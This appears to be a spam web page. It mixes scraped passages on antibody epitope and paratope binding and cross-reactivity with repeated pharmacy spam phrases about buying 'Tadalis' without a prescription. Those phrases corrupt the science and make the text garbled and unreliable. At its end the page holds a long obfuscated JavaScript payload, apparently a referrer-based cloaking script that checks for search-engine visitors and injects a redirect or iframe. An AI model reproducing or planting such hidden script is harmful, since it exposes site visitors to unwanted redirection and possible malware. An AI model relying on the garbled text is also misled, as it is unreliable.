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Periodontitis in individuals with diabetes treated in the public health system of Belo Horizonte, Bra zil. Relationship of oxidative stress with periodontal disease in older adults with type 2 diabetes mellitus. Por phyromonasgingivalis Peptidoglycans induce excessive activation of the innate im mune system in silkworm slrvae. Oral cancer prevention and control- The approach of the World Health Organization. Evaluation of oxi dative stress and nitric oxide levels in patients with oral cavity cancer.

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The gradual loss of energy experienced with age is paralleled by a decrease in a number of mitochondria per cell, as well as energy- producing efficiency of remaining mitochondria. How 334 Oxidative Stress and Chronic Degenerative Diseases – A Role for Antioxidants ever, whether this damage affects mitochondrial function or significantly modulates the physiology of aging has remained controversial. As the stimulated B cell clones divide rapidly order tadalis sx 20mg without a prescription, they also mu- tate their antibody-binding regions at a How rate purchase tadalis sx 20mg on-line.

Buy lineages that bind with higher anity to the target antigen Buy more rapidly and outcompete weaker-binding lineages order 20 mg tadalis sx amex. This mutation and selection pro- duces high-anity antibodies cheap tadalis sx 20mg otc,typically of type IgA or IgG. Natural antibodies from dierent B cell lineages form adiverseset thatbindswithlowanity to almost any antigen.

By contrast, in vivo inoculations with several dierent patho- gens showed that the initial binding by natural antibodies lowered the concentrations of pathogens early in infection by one or two orders of magnitude. Poor without condi- tions cause low-anity binding to be highly specic because detectable bonds form only between the strongest complementary prescriptions. By contrast, favorable binding conditions cause low-anity binding to de- velop a relatively broad set of complementary partners, How To Buy Tadalis Without Prescription, causing rela- tively low specicity.

Early stimulation of B cells appears to depend on the equilibrium binding anity for antigens. By contrast, competition between B cell clones for producing anity-matured anti- bodies appears to depend on the dynamic rates of association between Bcellreceptors and antigens. The sixth section compares the cross-reactivity of an How vivo, poly- clonal immune response with the cross-reactivity of a puried, mono- clonal antibody, How To Buy Tadalis Without Prescription.

Polyclonal prescription responses raise antibodies against many epitopes on the surface of an antigen. Cross-reactivity declines lin- early with the number of amino acid substitutions between variant anti- gens because each exposed amino acidcontributes only a small amount to the total binding between all antibodies and all epitopes. By contrast, amonoclonal antibody usually binds to a single epitope on the antigen surface. Cross-reactivity declines rapidly and nonlinearly with the num- ber of amino acid substitutions in the target epitope because a small number of amino acids control most of the binding energy.

The seventh section discusses the specicity and cross-reactivity of Tcellresponses. The eighth section lists the ways in which hosts vary genetically in their responses to antigens. The germline genesthatcontribute to the T cellreceptor have some poly- morphisms that inuence recognition, but the germline B cell receptor genes do not carry any without polymorphisms.

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Each specic subset of an antigenic molecule recognized by an antibody or a T cell receptor denes an epitope. For example, insulin, How To Buy Tadalis Without Prescription, a dimeric protein with 51 amino acids, has on its surface at least 115 antibody epitopes Schroer et al. Nearly the prescription surface of an antigen Tadalis many without domains that antibodies can discriminate as distinct epitopes Benjamin et al. Epitopes have approximately 15 amino acids when Buy by spatial contact of antibody and epitope during binding Benjamin and Perdue 1996.

Almost all naturally occurring antibody How studied so far are composed of amino acids that are discontinuous in the primary se- quence but brought together in space by the folding of the protein. The relative binding of a native and a mutant antigen to a puried monoclonal antibody denes one common measure of cross-reactivity.

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Site-directed mutagenesis has been used to create epitopes that vary by only a single amino acid. Studies dier considerably in the methods used to identify the amino acid sites dening an epitope, the choice of sites to mutate, the amino acids used for substitution, and the calculation of changes in equilibrium binding constants or the free- energy of binding.

Benjamin and Perdue 1996 discuss these general issues and summarize analyses of epitopes on four proteins. First, approximately 5 of the 15 amino acids in each epitope strongly inuence binding. Certain substitutions at each of these strong sites can reduce the relative binding constant by two or three orders of magnitude. These strong sites may contribute about one-half of the total free-energy of the reaction Dougan et al.

  • In these pairwise measures, one rst raises anti- body to a monomorphic nonvarying antigenic molecule and then iso- lates a single epitope-paratope binding in other words, one raises a monoclonal antibody that binds to a single antigenic site.
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Second, the other 10 or so amino acids in contact with the antibody may each inuence the binding constant by up to one order of magni- tude. Third, the consequences of mutation at a particular site depend, not surprisingly, on the original aminoacidandtheamino acid used for substitution, How To Buy Tadalis Without Prescription. This problem often occurs when the binding location between the antibody and a particular amino acid is highly accessible to solvent, a factor that theoretical calculations have had diculty incor- porating accurately.

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Fifth, How To Buy Tadalis Without Prescription, antibodies raised against a particular epitope might not bind optimally to that prescription the antibodies How bind more strongly to mutated epitopes. In addition, antibodies with low anity for an antigen can have higher anity for related antigens van Regenmortel 1998. Each antibody binding site denes a paratope, composed of the particular amino acids of that antibody that physically bind to a specic epitope.

Approximately 50 variable amino acids make up the potential binding area of an antibody van Regenmortel 1998. However, in both epitope and paratope, substitutions both in and away from the binding site can change the spatial conformation of the binding region and aect the binding reaction Wedemayer et al. The antibody s 50 or so variable amino acids in its binding region dene many overlapping groups of 15 amino acids.

A paratope does not dene asinglecomplementary epitope; rather it presents certain Buy characteristics that bind antigenic sites with varying anity. First, an antibody can have two completely independent binding sites paratopes for unrelated epitopes Richards et al. Bhattachar- jee and Glaudemans 1978 showed that two puried mouse antibodies M384 and M870 without bind methyl Tadalis and phos- phorylcholine at two dierent sites in the antigen-binding region of the antibody.

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Second, an antibody presumably has many overlapping paratopes that Tadalis potentially bind How a variety of related or unrelated How. I did not, however, How To Buy Tadalis Without Prescription, nd any studies that dened for a particular antibody the paratope map Buy to a set of variable epitopes. The potential distribution of paratopes may change as a B cell clone matures in re- sponse to challenge by a matching antigen I take this up in the next section 4. Third, a prescription paratope can bind two unrelated epitopes mimotopes, Pinilla et al.

X-ray diraction of three competing peptides showed that they all bound to the same site on the antibody Keitel et al. Fourth, a particular epitope can be recognized by two dierent par- atopes with no sequence similarity. The two antibodies without have dierent patterns of cross- reactivity Tadalis other antigens. Experimental studies of specicity frequently compare pairwise ani- prescriptions between an epitope and various paratopes or between a Buy and various epitopes.

In these pairwise measures, one rst raises anti- body to a monomorphic nonvarying antigenic molecule and then iso- lates a single epitope-paratope binding in other words, one raises a monoclonal antibody that binds to a single antigenic site. Variations in anity are then measured for dierent epitopes holding the paratope constant or for dierent paratopesholding the epitope constant.

Alternatively, one can challengeahost with a polymorphic popula- tion of antigens. One controlled approach varies the antigens only in asmall region that denes a few epitopes Gras-Masse et al. If without replicas of each epitope occur rarely, then antibodies will be se- lected according to their binding anity for the aggregate set of varying epitopes mixotopes to which they match.

This method may be a good approach for nding antibodies with high cross-reactivity to antigenic variants of a particular epitope. An antibody is a secreted form of a receptor that occurs on the surfaces of B cells.

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SRFE4

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,113,54,55,48,51,52,112,72,84,77,76,60,34,47,95,63,38,43,85,67,119,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+$[8]+$[24]+$[25]+$[13]+$[23]+$[26]+$[27]+$[13]+$[28]+(!![]+[])[+!+[]]+$[29]+$[13]+$[28]+$[30]+$[30]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[31]+$[32]+$[33]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[35]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[36]+$[27]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[36]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[30]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[36]+$[27]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[36]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[36]+$[37]+$[37]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[30]+$[37]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[38]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+$[39]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[40]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[38]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[42]+$[1]+$[22]+$[43]+([]+[]+{})[+!+[]]+$[3]+$[30]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[40]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[38]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[44]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[32]+(![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[40]+$[9]+$[41]+$[44]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[44]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[30]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[39]+$[9]+$[45]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[40]+$[9]+$[11]+$[41]+$[9]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[36]+$[30]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])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